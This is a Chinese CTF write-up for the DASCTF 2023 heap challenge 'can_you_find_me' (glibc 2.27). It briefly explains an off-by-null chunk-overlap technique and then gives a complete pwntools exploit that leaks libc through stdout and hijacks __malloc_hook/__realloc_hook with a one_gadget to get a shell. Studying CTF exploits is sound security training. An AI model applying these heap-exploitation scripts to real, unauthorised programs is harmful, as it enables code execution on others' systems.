can_you_find_me
DASCTF_2023_6_二进制专项 can_you_find_me
代码审计
2.27堆,0x10次add,6次delete,没有show和edit功能。add功能存在off-by-null漏洞,溢出位置取决于size。
这种没有show的的题可以用我先前发过的一篇名字无比中二的文章: tcache七星剑法:留光 的思路来解决,都是通过将unsorted bin生成时在fd处添加的libc地址放进与之重叠的tcache里面来实现对于tcache链表的劫持。
off-by-null建议上看雪上看winmt大佬的博客。这里再讲一下在2.27的时候off-by-null的构造方法:在一个chunk_1内构造一个chunk头部,使得chunk_1被前一个堆块off-by-null后其堆块结尾处正好卡在伪造的chunk头上。然后切割这个shrink了的堆块多次,将第一个堆块再释放回unsorted bin,剩下的留着(或者释放进tcache,就是下面的打法)。这时再释放原chunk_1物理相邻的后一个堆块,这时会根据prevsize域进行前向合并,由于原chunk_1地址处的堆块刚刚被放进unsorted bin,其双向链表完整性得以满足,且满足size与物理相邻的下一个chunk的prevsize相等,能正常通过unlink检查,free时会前向合并原chunk_1。此时切割步骤中剩下的堆块会与这个刚刚合并的大堆块重叠。
之后卡好堆风水就能用之前我博客发的技巧去做题了。
注意这题有时候会出现small bin,有时候你可能会不经意间取了small bin中的东西,而不是如你预期地去切割unsorted bin chunk
EXP
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
ELFpath='/home/wjc/Desktop/pwn'
libcpath='/home/wjc/glibc-all-in-one-master/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so'
#p=process(ELFpath)
#p=remote('node4.buuoj.cn',29128)
e=ELF(ELFpath)
libc=ELF(libcpath)
rut=lambda s :p.recvuntil(s,timeout=0.1)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
text_base, libc_base = get_base(p, 'pwn')
script = '''
set $text_base = {}
set $libc_base = {}
b*$rebase(0xdB8)
'''.format(text_base, libc_base)
#b mprotect
#b *($text_base+0x0000000000000000F84)
#b *($text_base+0x000000000000134C)
# b *($text_base+0x0000000000000000001126)
#dprintf *($text_base+0x04441),"%c",$ax
#dprintf *($text_base+0x04441),"%c",$ax
#0x12D5
#0x04441
#b *($text_base+0x0000000000001671)
gdb.attach(p, script)
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
def cmd(idx):
ru('choice:')
sl(str(idx))
def add(size,data):
cmd(1)
ru('Size:')
sl(str(size))
ru('Data:')
s(data)
def dele(idx):
cmd(2)
ru('Index:')
sl(str(idx))
def pwn():
add(0x28,'aaa\n') #0
pay1=0x4f0*'a'+p64(0x500)+p64(0x30)
add(0x520,pay1+'\n') #1
add(0x420,'xxx\n') #2
add(0x20,'aaa\n') #3
dele(1)
dele(0)
add(0x28,'a'*0x28) #0
add(0x420,'\n') #1
add(0x60,0x60*'\x00') #4
#add(0x10,0x10*'\x00') #5
add(0x10,0x10*'\x00') #6
dele(1)
dele(2)
dele(4)
dele(5)
add(0x420,'\n') #1
add(0x40,'\x60\xe7'+'\n') #2
add(0x60,'\n') #4
add(0x60,p64(0xfbad1800)+p64(0)*3+'\x00'+'\n') #7
libcbase=u64(rut('\x7f')[-6:].ljust(8,'\x00'))-(0x7ffff7dcf8b0-0x7ffff79e2000 )
LOGTOOL['libcbase']=libcbase
malloc_hook=libcbase+libc.symbols['__malloc_hook']
realloc_hook=malloc_hook-8
LOGTOOL['malloc_hook']=malloc_hook
realloc_addr=libcbase+0x98C58
one_gadget=libcbase+0x10a2fc
add(0x50,p64(0)*4+p64(realloc_hook)+'aaaaaaa'+'\n')
add(0x10,'aaa'+'\n')
add(0x10,p64(one_gadget)+p64(realloc_addr))
#debug(
#pause()
cmd(1)
ru('Size:')
sl(str(0x10))
LOGALL()
# sl("echo winwinwin")
# ru("winwinwin")
it()
if __name__ == "__main__":
while True:
try:
p=process(ELFpath)
pwn()
break
except:
p.close()
continue